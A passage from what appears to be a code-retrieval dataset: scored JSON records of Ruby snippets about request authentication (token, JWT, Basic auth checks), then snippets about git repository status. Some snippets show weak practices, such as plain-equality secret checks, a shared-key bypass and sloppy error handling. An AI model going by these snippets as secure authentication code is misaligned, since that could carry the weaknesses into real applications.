expiration org_id).map { |f| decrypted[\"context\"][f] }\n # Flag indicating, that user is calling from CLI\n fields.push(true)\n init_context(*fields)\n end\n rescue\n end\n end\n end", "title": "" }, { "docid": "9dbd3fdea81fef1a45cfd9969d566773", "score": "0.6330392", "text": "def authorized?\n !response.nil? && response.header_result == 'A' && response.detail_result == 'A'\n end", "title": "" }, { "docid": "dfc7d37527331f5859db1792cc13ae63", "score": "0.63278157", "text": "def check_authorization\n require 'base64'\n\n credentials = request.headers['Authorization']\n\n if credentials.nil?\n render json: { error: 'Missing credentials, access denied' }, status: :forbidden\n else\n credentials = Base64.decode64(credentials.split[1]).split(':')\n @current_creator = Creator.find_by(email: credentials[0].downcase)\n unless @current_creator && @current_creator.authenticate(credentials[1])\n render json: { error: 'Not authorized, wrong credentials'}, status: :forbidden\n end\n current_creator(@current_creator)\n end\n end", "title": "" }, { "docid": "cdc15ffa65eaf4536a7ad6b79560a858", "score": "0.6326869", "text": "def authenticate_user_token\n render_response(\"USER_CREDENTIAL_REQUIRED\", nil, {:status => 'failure'}) and return unless params[:user_credential]\n #replace with authetication \n user = UserKey.find_by_credential(params[:user_credential]).user\n if user\n true\n else\n render_response(\"USER_CREDENTIAL_INVALID\", nil, {:status => 'failure'})\n end\n end", "title": "" }, { "docid": "4c3108a113425ad2539ca2d7506b6c8c", "score": "0.63109386", "text": "def auth\n id = params[:id]\n auth = params[:auth]\n email = params[:email]\n\n # get a ticket with this auth code\n begin\n ticket = Ticket.find(id)\n\n rescue ActiveRecord::RecordNotFound\n ticket = nil\n end\n\n # and a user with the email\n begin\n user = User.where(:email => email).first\n\n rescue ActiveRecord::RecordNotFound\n user = nil\n end\n\n # if the email sent matches the one in the ticket, then the person can enter the room\n respond_to do |format|\n # refactor much?\n if ticket.present? && user.present? && user.role == 'admin' && ticket.auth_admin == auth || ticket.present? && ticket.auth_client == auth && ticket.user.email == email\n format.json {render json: user, except: [:password_digest], status: :ok}\n else\n format.json {render json: {}, status: :forbidden}\n end\n end\n end", "title": "" }, { "docid": "bfb75a5fce3498bf930b36dd4a8af4ca", "score": "0.630847", "text": "def check_authorization\n render status: 401 unless authorized?\n end", "title": "" }, { "docid": "e6b82f749faf47cb414d9e7b5a13aac3", "score": "0.6307676", "text": "def authorize!\n\t\t\treturn false if auth_bypass?\n\t\t\tredirect to('/login') unless authorized?\n\t\t\t# now @person and @auth_id should be set\n\t\t\treturn true\n\t\tend", "title": "" }, { "docid": "85edddc2608f14294be8594c2fbac885", "score": "0.6305042", "text": "def authenticate_user\n auth_token = request.headers[\"auth_key\"]\n if auth_token == SERVER_AUTH_KEY\n return true\n else\n render :status=>401,\n :json =>{:Response => \"Fail\",\n :Data => nil,\n :Message => \"Unauthorized access.\"}\n end \n end", "title": "" }, { "docid": "bf1322ceee6cf23d9e3f5a985a67b0d2", "score": "0.62957954", "text": "def authenticated?\n # If not icsid exists, not authenticated\n icsid\n end", "title": "" }, { "docid": "6a4a1debd61a7ebc7f019f7d106d0959", "score": "0.6289146", "text": "def authenticate_request\n @current_user = AuthorizeApiRequest.call(request.headers).result\n render json: { error: 'You are not Authorized, please check your authorization from admin' }, status: 401 unless @current_user\n end", "title": "" }, { "docid": "2421d9db29819bb19cdf38e29629576e", "score": "0.62761074", "text": "def openid_check_authentication(request); end", "title": "" }, { "docid": "33a948a3d7289198334af5f4c99ea9c6", "score": "0.6269632", "text": "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "title": "" }, { "docid": "6e25ea320c00e1fc063a8e2ac74e2237", "score": "0.6267764", "text": "def authenticate_or_resquest\n authenticate_or_request_with_http_token do |token, opt|\n User.find_by(auth_token: token).present?\n end\n end", "title": "" }, { "docid": "7d8a7e47d9a0bea28fe6e0aaa0ad2084", "score": "0.6263978", "text": "def auth\n return 0 if sanity_check_key(key) && validate_key(key)\n return 1\n end", "title": "" }, { "docid": "5aeec1586981e6ac90d1950aca566381", "score": "0.6263574", "text": "def authorized_user()\n if params.has_key?(:header)\n access_token=params[:header][:access_token]\n elsif\n access_token=params[:id]\n end\n @current_user = User.where(:authentication_token=>access_token).first unless access_token.nil?\n render :json=>{:header=>{:status=>400},:errors=>{:authentication_token=>{:code=>1005, :message=>\"Authentication/Authorization Failed\"}}} if @current_user.nil? && access_token != \"signup\"\n end", "title": "" }, { "docid": "f38af824e123ab11603a4cdef2563e54", "score": "0.625425", "text": "def authenticate_request\n api_error({ errors: \"Authentication has expired or it is invalid\", status: :unauthorized}) unless decoded_auth_token\n end", "title": "" }, { "docid": "3515b2d160de7a29a2f827a8a173c563", "score": "0.6252665", "text": "def authenticate_request!\n # already authenticated in soft authentication\n return true if @current_user\n extract_user_from_auth_token\n rescue JWT::ExpiredSignature, JWT::ImmatureSignature\n raise AuthenticationTimeoutError\n rescue JWT::VerificationError\n raise_auth_error('JWT Verification')\n rescue JWT::DecodeError\n raise_auth_error('JWT Decode')\n rescue ActiveRecord::RecordNotFound\n raise_auth_error('Record Not Found')\n end", "title": "" }, { "docid": "e24bbef8a957b4c6dd143ae313dbc934", "score": "0.6247699", "text": "def check_auth\n authorize @service\n end", "title": "" }, { "docid": "446599bb44a288c231c814fe967bc6a4", "score": "0.62395006", "text": "def authenticate\n\tlogged_in? || access_denied\nend", "title": "" }, { "docid": "f349050c85148a78be7716013252d8a0", "score": "0.62377286", "text": "def api_authentication\n verify_api_access_token || render_api_unauthorized\n end", "title": "" }, { "docid": "8b4ede2b982f0dd15db623faf62b7510", "score": "0.6237417", "text": "def authentication_status\n @authentication_status\n end", "title": "" }, { "docid": "7a517c16a819cbb97ef6ac838e38d20f", "score": "0.6231454", "text": "def process_token\n if request.headers['Authorization'].present?\n begin\n jwt_payload = JWT.decode(request.headers['Authorization'].split(' ')[1], Rails.application.secrets.secret_key_base).first\n @current_user_id = jwt_payload['id']\n token_is_available?(jwt_payload)\n rescue JWT::ExpiredSignature, JWT::VerificationError, JWT::DecodeError\n head :unauthorized\n end\n else\n head :unauthorized\n end\n end", "title": "" }, { "docid": "85e96a5488c76204a5ff37de3fd948e6", "score": "0.6230394", "text": "def auth_status\n @attributes[:auth_status]\n end", "title": "" }, { "docid": "895262e991745249a3b5e76cc7ebd122", "score": "0.62280554", "text": "def authenticate_with_full_authorization\n if authenticate_with_oauth || authenticate_with_cookies\n # Great! You're in\n elsif !performed?\n request_api_authentication || request_cookie_authentication\n end\n end", "title": "" }, { "docid": "1184b412735fa074f68cd0d4f94d09b7", "score": "0.6224796", "text": "def respond\n http_auth? ? http_auth : redirect\n end", "title": "" }, { "docid": "ab563c5af952204588ca540353536b98", "score": "0.6221881", "text": "def basic_authenticated?; end", "title": "" }, { "docid": "907c7e794ec28c9ba3b18efdc2520fd4", "score": "0.62192154", "text": "def authenticate_request!\n unless user_id_in_token?\n return render_unauthorized\n end\n\n @current_user = User.find(auth_token[:user_id])\n rescue JWT::VerificationError, JWT::DecodeError\n render_unauthorized_wrong_token\n end", "title": "" }, { "docid": "91b8469431ee0961f576f60d7b478c98", "score": "0.6214475", "text": "def authorized?\n auth && auth['access_token']\n end", "title": "" }, { "docid": "fa2c1fc4342037a03646795b057e3c8b", "score": "0.62071055", "text": "def authorized_user\n if auth_present?\n user_id = auth[\"user\"]\n if @authorized_user && @authorized_user.id == user_id\n return @authorized_user\n else\n @authorized_user ||= User.find_by_id(user_id)\n end\n else\n end\n end", "title": "" }, { "docid": "ba0bd1b6b556851550411eb0412e7064", "score": "0.6205247", "text": "def authorization\n @authorization ||= if auth = self.payments.find_by_action_and_success('authorization', true, :order => 'id ASC')\n auth\n elsif auth = self.payments.find_by_action_and_success('purchase', true, :order => 'id ASC')\n auth\n end\n end", "title": "" }, { "docid": "4b4e08ee99b1749a2b9e5c8d0cb652dc", "score": "0.619372", "text": "def authorize!\n response = Response.new(till_response { send_api_request(authorization_params) })\n raise AuthenticationError.new(\"Could not authenticate with Zabbix API at #{uri}: #{response.error_message}\") if response.error?\n raise AuthenticationError.new(\"Malformed response from Zabbix API: #{response.body}\") unless response.string?\n @auth = response.result\n end", "title": "" }, { "docid": "131f5e466b623be99c765e44e8179dbc", "score": "0.6192896", "text": "def authenticate_request\n if auth_token_expired?\n render json: { error: 'Auth token is expired' }, status: 419\n elsif !@current_user\n render json: { error: 'Not Authorized' }, status: :unauthorized\n end\n end", "title": "" }, { "docid": "131f5e466b623be99c765e44e8179dbc", "score": "0.6192896", "text": "def authenticate_request\n if auth_token_expired?\n render json: { error: 'Auth token is expired' }, status: 419\n elsif !@current_user\n render json: { error: 'Not Authorized' }, status: :unauthorized\n end\n end", "title": "" }, { "docid": "61798e8e6ef0265d62706202e379747f", "score": "0.6191963", "text": "def authorize\n \n # this authorization method should ONLY be used over SSL, otherwise the key\n # is out in the wild for the taking\n # TODO: OAuth or something similar\n return true if api_read? && params[:sharedkey] == Attendance::Application.config.oauth_secret\n\n return authorize_fail if @auth_user.nil?\n return true if @auth_user.admin\n return authorize_fail unless block_given?\n return authorize_fail unless yield\n return true\n end", "title": "" }, { "docid": "bb804c4bc2f3d92af5bdc1b54e74c58d", "score": "0.61893594", "text": "def authenticate!\n vars = JWT.decode(request.env[\"HTTP_ACCESS_TOKEN\"], ENV['SECRET_TOKEN']) rescue 'Invalid token' \n access_granted = (vars[0][\"user_id\"]==ENV['ADMIN_ID'])\n !access_granted ? fail!(\"Could not log in\") : success!(access_granted)\n end", "title": "" }, { "docid": "f223578d3ce424f469cac66d53157b8a", "score": "0.6186139", "text": "def auth_check\n send(\"check_#{params[:provider]}\")\n end", "title": "" }, { "docid": "8aab6bfb2e933d00dd4771e3492c5077", "score": "0.61769265", "text": "def auth?\n api.auth.token\n end", "title": "" }, { "docid": "440f845d6817fccd284497d5c2b4427a", "score": "0.6174339", "text": "def auth?\n !!auth.type\n end", "title": "" }, { "docid": "ee503e9573a9c39ef55f4bfd780af822", "score": "0.6170989", "text": "def check_auth(required_auth)\n\n return if @login_user.nil? and self.performed?\n\n if @login_user.nil? \\\n or !@login_user.admin?(required_auth)\n Log.add_check(request, '[check_auth]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_admin')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end", "title": "" }, { "docid": "79153c198212b1c7230c2db23c2d408c", "score": "0.6170863", "text": "def check_auth\n\t\tif user = login(params[:username],params[:password])\n\t\t\tif (!user.active)\n\t\t\t\trender :json => [], :status => :forbidden\n\t\t\telse \n\t\t\t\trender :json => [\"userid\" => user.id], :status => :accepted\n\t\t\tend\n\t\telse\n\t\t\tuser = User.find_by_email(params[:username])\n\t\t\tif (user != nil)\n\t\t\t\t# activation state was removed from our domain but may come back\n\t\t\t\t#if (user.activation_state != \"active\")\n\t\t\t\t#\trender :json => [], root: false, :status => :failed_dependency\n\t\t\t\t#else\n\t\t\t\t\trender :json => [], :status => :unauthorized\n\t\t\t\t#end\n\t\t\telse\n\t\t\t\trender :json => [], :status => :not_found\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "7b9e281b8c46f060ae0061c533568f97", "score": "0.6170314", "text": "def oauth_required\n logger.info \"Current_token=#{@current_token.inspect}\"\n if oauthenticate\n logger.info \"passed oauthenticate\"\n if authorized?\n logger.info \"passed authorized\"\n return true\n else\n logger.info \"failed authorized\"\n invalid_oauth_response\n end\n else\n logger.info \"failed oauthenticate\"\n \n invalid_oauth_response\n end\n end", "title": "" }, { "docid": "d0a9289128a171c073a14d92fdb1e45b", "score": "0.6167974", "text": "def authorized?\n @token = extract_token\n begin\n payload, header = JWT.decode(@token, settings.verify_key, true)\n\n\n @exp = header[\"exp\"]\n\n # check to see if the exp is set (we don't accept forever tokens)\n if @exp.nil?\n puts \"Access token doesn't have exp set\"\n return false\n end\n\n @exp = Time.at(@exp.to_i)\n\n # make sure the token hasn't expired\n if Time.now > @exp\n puts \"Access token expired\"\n return false\n end\n\n # make sure the user only logs in once\n if Token.where(:random => payload[\"random\"]).first == nil \n puts \"only one login per user at a time, bad random token\"\n return false\n end\n\n @user_id = payload[\"user_id\"]\n\n rescue JWT::DecodeError => e\n return false\n end\n end", "title": "" }, { "docid": "9ba03524511d1319b9db97cc718dfbd4", "score": "0.6165918", "text": "def check_user_is_authorized\n if !logged_in? || current_user.id != @user.id\n return authorization_failure\n end\n end", "title": "" }, { "docid": "0622a4f8e24c4f98126ec0e501863483", "score": "0.6163991", "text": "def verify_request\n\t\t\tunless request.headers['Authorization'].present? && request.headers['Authorization'] == APIKEYS[\"authorization_key\"]\n\t render json: {:message=>\"UnAuthorize Request\"}, :status=>401\n\t \tend\n\t end", "title": "" }, { "docid": "373d6202252976b4752ac63bd1949c2b", "score": "0.61635965", "text": "def has_authorization?(auth)\n a = Authorization.first(:provider => auth.to_s, :user_id => self.id)\n #return false if not authenticated and true otherwise.\n !a.nil?\n end", "title": "" }, { "docid": "373d6202252976b4752ac63bd1949c2b", "score": "0.61635965", "text": "def has_authorization?(auth)\n a = Authorization.first(:provider => auth.to_s, :user_id => self.id)\n #return false if not authenticated and true otherwise.\n !a.nil?\n end", "title": "" } ]
96e6224640dc4b6974d36ae89e709564
Returns the status of the git repository.
[ { "docid": "ebfec13226edc3ca21435525b3ef39e4", "score": "0.7748729", "text": "def status\n GitStatus.new(self)\n end", "title": "" } ]
[ { "docid": "4d2bbb882a750e6352be9cca438c17df", "score": "0.88047975", "text": "def status\n Dir.chdir @repository\n status = `git status -s`\n verify_status($?, 'git status -s')\n status.lines\n end", "title": "" }, { "docid": "eb216c05b57c5f640733977f31c375f6", "score": "0.86549443", "text": "def repo_status\n status = system(\"git status --porcelain -z\")\n if status == \"\"\n @repo_status = \"Not current!\"\n else\n @repo_status = \"Current\"\n end\n end", "title": "" }, { "docid": "a11ffda991e1d3aeeb0db313bde1dcbc", "score": "0.8260134", "text": "def status\n Dir.chdir @root do\n status = `git status | head -n 2 | tail -n 1 | sed -e 's/# //g'`\n \n end\n end", "title": "" }, { "docid": "6c4e95c7ca2543d386ec767ea057cafc", "score": "0.7884986", "text": "def status(options)\n return `git status`\n end", "title": "" }, { "docid": "7e7072366be4cda0d661fd5c0545e285", "score": "0.7812933", "text": "def repo_status\n erb :status, :locals => {\n :branch => git.branch,\n :status => git.status(true)\n }\n end", "title": "" }, { "docid": "3faee485c35573122f337f0c597c3515", "score": "0.76743305", "text": "def status\n Git::Status.get(self.file_path)\n end", "title": "" }, { "docid": "e676a0f51b8c99d8a5f947a252e7ac5e", "score": "0.7612928", "text": "def status\n\n\t\tresult = system(\"cd /home/jeff/notes.git; /usr/bin/git status\")\n\t\tp result if self.debug?\n\n\t\tif result != true\n\t\t\treturn false # exit code 1 -- failure state\n\t\tend\n\n\t\treturn true # exit code 0 -- success state\n\tend", "title": "" }, { "docid": "e673f756140118580c992d1eff04172a", "score": "0.758776", "text": "def git_status(repo_set_spec)\n compute_repo_paths(repo_set_spec).each { |repo_path|\n puts '-' * 80\n puts \"Git status for #{ repo_path }\"\n FileUtils.cd(repo_path)\n puts `git status`\n }\n true\n end", "title": "" }, { "docid": "7bec789ff2b6bb021cc9a9934e035e13", "score": "0.7391449", "text": "def status\n # instantiate an interrogator for the repo type.\n find if @type.nil?\n \n # TODO: allow other types\n @repo = Gitvc.new @root\n @repo.log_info\n @repo.status_info\n \n # TODO: allow verbose output\n @reporter.report_message(\"\\t#{ @repo.results[:summary] }\", @repo.boolean_status)\n end", "title": "" }, { "docid": "69199d70909e7ec04132b6faac6cc601", "score": "0.7379853", "text": "def gs\n puts `git status`\nend", "title": "" }, { "docid": "daa6de59c754ae6289bda6161b569c7f", "score": "0.7329253", "text": "def status\n # Memoize it so we don't have to fetch it again\n @status ||= client.status(repository, head.sha).state\n\n case @status\n when 'failure' then 'failing'\n when 'success' then 'passing'\n else 'pending'\n end\n rescue StandardError\n nil\n end", "title": "" }, { "docid": "5fcaed7fabbc719052a3428027467a6f", "score": "0.73121274", "text": "def github_status\n get('status.json', {:endpoint => Octokit.status_api_endpoint})\n end", "title": "" }, { "docid": "45d6ea2172e3aa7e5877a1dec1b5a075", "score": "0.723161", "text": "def repo_status\n Qapi::Github::RepoStatusQuery.new(self)\n end", "title": "" }, { "docid": "5b8206b50d5761911bd1278a1253167b", "score": "0.7214667", "text": "def status(params = {})\n response = client.get \"/_snapshot{/repository}/_status\", update_params(params, action: \"repository.status\", rest_api: \"snapshot.status\")\n response.body\n end", "title": "" }, { "docid": "0ba5ed21ae1e763e19291a466e626a0f", "score": "0.72124124", "text": "def github_status\n get(STATUS_ROOT).rels[:status].get.data\n end", "title": "" }, { "docid": "b39d349a59ae74f39545bda07e486852", "score": "0.7199277", "text": "def current_git_state\n if @current_git_state.nil?\n\n # Use full diff to determine if previous results are still valid\n current_diff_state,_ = scall(\"git diff -p\")\n\n # Use brief status to test for untracked files and to report to user\n state,_= scall(\"git status -s\")\n\n if state.include?('??')\n state,_ = scall(\"git status\")\n raise ProgramException,\"Unexpected repository state:\\n#{state}\"\n end\n @current_git_state = \"\"\n if !state.empty? || !current_diff_state.empty?\n @current_git_state = state + \"\\n\" + current_diff_state + \"\\n\"\n end\n puts \"---- Determined current git state: #{@current_git_state}\" if @verbose\n end\n @current_git_state\n end", "title": "" }, { "docid": "9c41b9fd278c7aac29cfb46d5f9ba13a", "score": "0.70171446", "text": "def status_info\n @untracked = 0\n @changed = 0\n \n s = @git.status\n # check for changed files\n unless s.changed.empty?\n @status << \"changes\"\n \n # The count of modified, uncommitted files\n @changed = s.changed.keys.size\n end\n \n unless s.added.empty?\n @status << \"untracked\"\n @untracked = s.added.keys.size\n end\n \n if @untracked + @changed == 0\n @status << \"up to date\"\n end\n \n end", "title": "" }, { "docid": "904555082fc0bfdaaf5cfd588aff3193", "score": "0.6987243", "text": "def repository_status\n http = HTTPClient.new\n begin\n response = http.get(Kumquat::Application.kumquat_config[:fedora_url])\n if response.status == 200\n render text: 'online'\n else\n render text: 'offline', status: 503\n end\n rescue\n render text: 'offline', status: 503\n end\n end", "title": "" }, { "docid": "6241026cd1f1cae5eeb008d3443e8d29", "score": "0.69221544", "text": "def repo?(path)\n FileUtils.cd(path)\n\n system \"git status -s\"\n\n return $? == 0\n end", "title": "" }, { "docid": "3d1d0b116d388e6a373b31baeb7e41ab", "score": "0.6884528", "text": "def repo_status(path)\n messages = []\n messages << EMPTY_MESSAGE if repo_empty?(path)\n messages << UNCOMMITTED_MESSAGE if commit_pending?(path)\n messages << UNTRACKED_MESSAGE if untracked_files?(path)\n messages << UNPUSHED_MESSAGE if repo_unpushed?(path)\n messages.join(JOIN_STRING)\n end", "title": "" }, { "docid": "b7fc712ac0e32e94f8a5941441c099f4", "score": "0.6877723", "text": "def status\n Subversion.status_text(full_path)\n end", "title": "" }, { "docid": "48cf2f46d30e359dcf217a10e164b7b0", "score": "0.68552244", "text": "def status(repo, ref, options = T.unsafe(nil)); end", "title": "" }, { "docid": "d3af20eec908ea2df16d7e534352e2fb", "score": "0.6842921", "text": "def git_statuses\n `git status --porcelain`.split(/\\n/).map(&:strip)\n end", "title": "" }, { "docid": "9106d92f06ce371bd2142d550e5b0d66", "score": "0.68211484", "text": "def working_tree_changes\n error \"Invalid local repo: `#{@local_dir_path}`\" unless local_valid_repo?\n FileUtils.cd(@local_dir_path) do\n return `git status -uall --porcelain`.strip\n end\n end", "title": "" }, { "docid": "788b8f0c716d256ad40216e83f06d202", "score": "0.68180686", "text": "def status()\n max_name = @index.map {|repo| repo.name.length}.max + 1\n @index.each do |r|\n next unless Dir.exists?(r.path)\n status = repo_status(r.path)\n next if status.empty?\n name = format(\"%-#{max_name}s\",r.name).bold\n puts \"#{name} > #{status}\"\n end\n end", "title": "" }, { "docid": "8f708be25e415b126c13d92b12637304", "score": "0.6800667", "text": "def git?\n Dir.chdir(root) do\n `git status 2>/dev/null`\n return $?.success?\n end\n end", "title": "" }, { "docid": "61f1c082c23875e999c06bc8bf18fc3c", "score": "0.6786383", "text": "def check\n git :'ls-remote --heads', repo_url\n end", "title": "" }, { "docid": "7e6bd286ca5f6c9e436a1ca0b8f1c93f", "score": "0.67605746", "text": "def status\n case @project.scm\n when :git then run 'git', 'status', '--untracked-files=no'\n when :hg then run 'hg', 'status', '--quiet'\n when :svn then run 'svn', 'status', '--quiet'\n end\n end", "title": "" }, { "docid": "52df9a8d7c0c21f784460b58171fdb15", "score": "0.6754082", "text": "def check\n git(:'ls-remote --heads', repo_url)\n end", "title": "" }, { "docid": "52df9a8d7c0c21f784460b58171fdb15", "score": "0.6753956", "text": "def check\n git(:'ls-remote --heads', repo_url)\n end", "title": "" }, { "docid": "14066d75899229eecdeacdf0ecaf9456", "score": "0.672795", "text": "def github_status\n static = @reference.match?(Build::SHA1_REGEX) || @reference.match?(Release::VERSION_REGEX)\n expires_in = ->(reply) { cache_duration(reply) }\n cache_fetch_if static, cache_key(@reference), expires_in: expires_in do\n GITHUB.combined_status(@project.repository_path, @reference).to_h\n end\n rescue Octokit::NotFound\n {\n state: \"missing\",\n statuses: [{\n context: \"Reference\", # for releases/show.html.erb\n state: \"missing\",\n description: \"'#{@reference}' does not exist\"\n }]\n }\n end", "title": "" }, { "docid": "7b3645b4d1cf38e21cac9c2f4889dee8", "score": "0.6665535", "text": "def status\n return finish_setup unless setup? && init?\n user = `git config --get user.name`\n `git log --oneline --author='#{user}' --since='6am'`\n end", "title": "" }, { "docid": "0587b69d32604fa5e530fca8ae84968c", "score": "0.6663444", "text": "def git_ci_status(branch = 'master')\n `hub ci-status #{branch}`.strip\n end", "title": "" }, { "docid": "e6f75dbdc6ceeae8eeb00861a10998c4", "score": "0.6661013", "text": "def get_github_state(jenkins_status)\n if jenkins_status == 'SUCCESS'\n return 'success'\n else\n return 'failure'\n end\n end", "title": "" }, { "docid": "843e612e06021365e9972e79eb409615", "score": "0.66082114", "text": "def checkout\n status, out, err = grit.clone({:process_info => true, :quiet => false, :progress => true}, git_url, path)\n [status, out, err]\n end", "title": "" }, { "docid": "5ffae2d6db44b62d6a3903960550b149", "score": "0.6601097", "text": "def is_git_repo\n system 'git rev-parse'\n end", "title": "" }, { "docid": "1de94e085c25c351bd5c071761ab57af", "score": "0.65853983", "text": "def isInGitRepo\n runOpen3Suppressed('git', 'status') == 0\nend", "title": "" }, { "docid": "cd34b6d90d22f464d9268e05e017ddfb", "score": "0.65670556", "text": "def combined_status(repo, ref, options = {})\n get \"#{Repository.path repo}/commits/#{ref}/status\", options\n end", "title": "" }, { "docid": "9f3326da65033e2322de007891a8d720", "score": "0.65400803", "text": "def origin_status\n\t\t\n\t\t# the git alias of `git hist` outputs each commit on a single line with the comment & status; such as\n\t\t\t\t#~ * f5223de 2010-12-12 | added Heroku link to the readme (HEAD, origin/master, master) [Rob Eastwood]\n\t\t\t\t#~ * 147a325 2010-12-12 | Improved the README (heroku/master) [Rob Eastwood\n\t\t@result = `cd #{@path} && git log --pretty=format:\"%h %ad | %s%d [%an]\" --graph --date=short`\n\t\t\n\t\t# when the last commit has been pushed to the remote origin/master, then the log will include the text \"origin/master, master\", as above\n\t\tif @result.include? \"origin/master, master\" then\n\t\t\t\"up-to-date\"\n elsif @result.include? \"origin/master\" then\n\t\t\t\"out-of-date\"\n else\n \"no remote\"\n\t\tend\n\tend", "title": "" }, { "docid": "58e934ed7605fd40d476d8b0a2e584a9", "score": "0.6505793", "text": "def update(git)\n # TODO: Change this method to raise errors if something goes wrong instead\n # of returning a status.\n \n # If the git executable is available, pull from master and check status.\n if !git.nil?\n output = `cd #{path} && #{git} pull origin master 2>/dev/null`\n \n # Write update to log if something happened\n if output.index('Already up-to-date').nil?\n $stderr.puts \"==Repository updated at #{Time.new()} : #{path}==\"\n end\n \n return $? == 0\n # Otherwise return false.\n else\n return false\n end\n end", "title": "" }, { "docid": "17d55a82c0fd708d4a86c1f8fa8d91eb", "score": "0.64835995", "text": "def script_in_git_repo?()\n script_dir = File.basename(__FILE__)\n _, _, status = Shell::execute_shell_commands(\"cd #{script_dir}; git rev-parse\", [:silent_command, :suppress_output])\n return status\nend", "title": "" }, { "docid": "9caaa3aa8d929115a99c4e2661384fd0", "score": "0.64747477", "text": "def bare_repo_presence() File.join(bare_dir, 'HEAD') end", "title": "" }, { "docid": "c0017646a3754b1c20266b0b9885c7e8", "score": "0.6463439", "text": "def repo\n git\n end", "title": "" }, { "docid": "b37b88d00c49cf6efa021d4f511e61d5", "score": "0.6459869", "text": "def status(file_path)\n result = nil\n if File.exists?(file_path)\n result = Git::Run.exec(:status, '--porcelain', file_path)\n result = result.first\n end\n result or ''\n end", "title": "" }, { "docid": "d78fd9bc48c062a4f7fb385cef91008a", "score": "0.6442263", "text": "def git_repo_status_all_code(options)\n RepositorySet.new(Repositext::PARENT_DIR).git_status(:code_repos)\n end", "title": "" }, { "docid": "b53b9e6c1af4966c3356201a4567d987", "score": "0.6436701", "text": "def repository_revision\n File.exists?(repository_path) ? Executor.execute(\"cd #{repository_path} && git rev-parse --short #{Config.branch}\").strip : false\n end", "title": "" }, { "docid": "928bd008e00f225a8236904ccf7fca59", "score": "0.6429818", "text": "def get_git_version()\n command = \"git --git-dir=%s --work-tree=%s describe --always --dirty --abbrev=4\" %[Rails.root.join(\".git\").to_s, Rails.root.to_s]\n version = IO.popen(command).read\n version_no_dirty = version.gsub(\"-dirty\", \"-dir\")\n return version_no_dirty\n end", "title": "" }, { "docid": "5e4fb041a306f4e6e197c3ce2e8d3577", "score": "0.63655716", "text": "def git?\n\t\t\tinfos[:git]\n\t\tend", "title": "" }, { "docid": "160f8b1fe1209e7ae8ef870cac0eacfa", "score": "0.6307217", "text": "def info\n error \"Invalid local repo: `#{@local_dir_path}`\" unless local_valid_repo?\n FileUtils.cd(@local_dir_path) do\n local = `git rev-parse @ 2> /dev/null`.strip\n local = nil unless $?.success?\n remote = `git rev-parse @{u} 2> /dev/null`.strip\n remote = nil unless $?.success?\n base = `git merge-base @ @{u} 2> /dev/null`.strip\n base = nil unless $?.success?\n return { local: local, remote: remote, base: base }\n end\n end", "title": "" }, { "docid": "3c48137a075cfb3eef4c221f5f370dba", "score": "0.6296437", "text": "def dirty?\n # Ignore anything that's not a git repository\n # This is relevant for testing scenarios\n return false unless self.git?\n\n status = false\n _path = relative_path_to(path).to_s\n begin\n Librarian::Posix.run!(%W{git update-index -q --ignore-submodules --refresh}, :chdir => _path)\n rescue Librarian::Posix::CommandFailure => e\n status = \"Could not update git index for '#{path}'\"\n end\n\n unless status\n begin\n Librarian::Posix.run!(%W{git diff-files --quiet --ignore-submodules --}, :chdir => _path)\n rescue Librarian::Posix::CommandFailure => e\n status = \"'#{_path}' has unstaged changes\"\n end\n end\n\n unless status\n begin\n Librarian::Posix.run!(%W{git diff-index --cached --quiet HEAD --ignore-submodules --}, :chdir => _path)\n rescue Librarian::Posix::CommandFailure => e\n status = \"'#{_path}' has uncommitted changes\"\n end\n end\n\n unless status\n begin\n untracked_files = Librarian::Posix.run!(%W{git ls-files -o -d --exclude-standard}, :chdir => _path)\n\n unless untracked_files.empty?\n untracked_files.strip!\n\n if untracked_files.lines.count > 0\n status = \"'#{_path}' has untracked files\"\n end\n end\n\n rescue Librarian::Posix::CommandFailure => e\n # We should never get here\n raise Error, \"Failure running 'git ls-files -o -d --exclude-standard' at '#{_path}'\"\n end\n end\n\n status\n end", "title": "" }, { "docid": "e30508a1c52713b570d9186b5c98c536", "score": "0.62839705", "text": "def isCheckedOutRepo?(location)\n execute(\"info \\\"#{location}\\\"\")\n return (@processReturn.exitstatus == 0)\n end", "title": "" }, { "docid": "9677195e8c3a4fa8a40009fbbaab681c", "score": "0.6283211", "text": "def human_readable_status\n last_commit ? last_commit.human_readable_status : \"Never built yet\"\n end", "title": "" }, { "docid": "92c03d4f2ef665f7102df5f177206426", "score": "0.6278771", "text": "def status\n raise 'Cannot check status in a bare repository...' if @repo.working_path.nil?\n\n wmap = working_map\n hmap = head_map\n smap = {}\n self.each { |se| smap[se.name] = se }\n\n # Todo: steals gits way of doing this...\n results = {}\n results[:untracked] = [] # Not being tracked\n results[:unmodified] = [] # working == HEAD\n results[:modified] = [] # stage != working\n results[:staged] = [] # stage != HEAD\n results[:new] = [] # head doesn't contain it\n results[:deleted] = [] # head contained it, working doesn't\n\n wmap.keys.each do |w|\n se = wmap[w]\n if hmap.has_key?(w)\n results[:unmodified] << se if hmap[w] == se.sha\n end\n\n if smap.has_key?(w)\n results[:staged] << se if smap[w].sha != hmap[w] and !results[:unmodified].include?(se)\n results[:modified] << se if smap[w].modified?(se)\n else\n results[:untracked] << se\n end\n end\n\n # Get added and deleted keys\n smap.keys.each do |w|\n se = wmap[w]\n next unless results[:modified].include?(se)\n results[:new] << se unless hmap.has_key?(w)\n end\n\n hmap.keys.each do |w|\n results[:deleted] << StageEntry.new(w, hmap[w], nil, nil) unless wmap.has_key?(w)\n end\n results\n end", "title": "" }, { "docid": "57e7ba4af2d9765b422e7ec85854b3b5", "score": "0.62784237", "text": "def status\n return @status\n end", "title": "" }, { "docid": "600c91e5405901c7fcefad2037aebb94", "score": "0.6266551", "text": "def exist?\n @repo.git.exist?\n end", "title": "" }, { "docid": "600c91e5405901c7fcefad2037aebb94", "score": "0.6266551", "text": "def exist?\n @repo.git.exist?\n end", "title": "" }, { "docid": "08321ec68f4778e4a28bb5ff8e7d6da8", "score": "0.6263165", "text": "def branch_status(branch)\n response = github_client.status(github_slug, branch)\n response.state\n end", "title": "" }, { "docid": "d36d11cb874bb3b2cc49a93b32271d59", "score": "0.62601143", "text": "def check\n test! :git, :'ls-remote', repo_url\n end", "title": "" }, { "docid": "d36d11cb874bb3b2cc49a93b32271d59", "score": "0.62601143", "text": "def check\n test! :git, :'ls-remote', repo_url\n end", "title": "" }, { "docid": 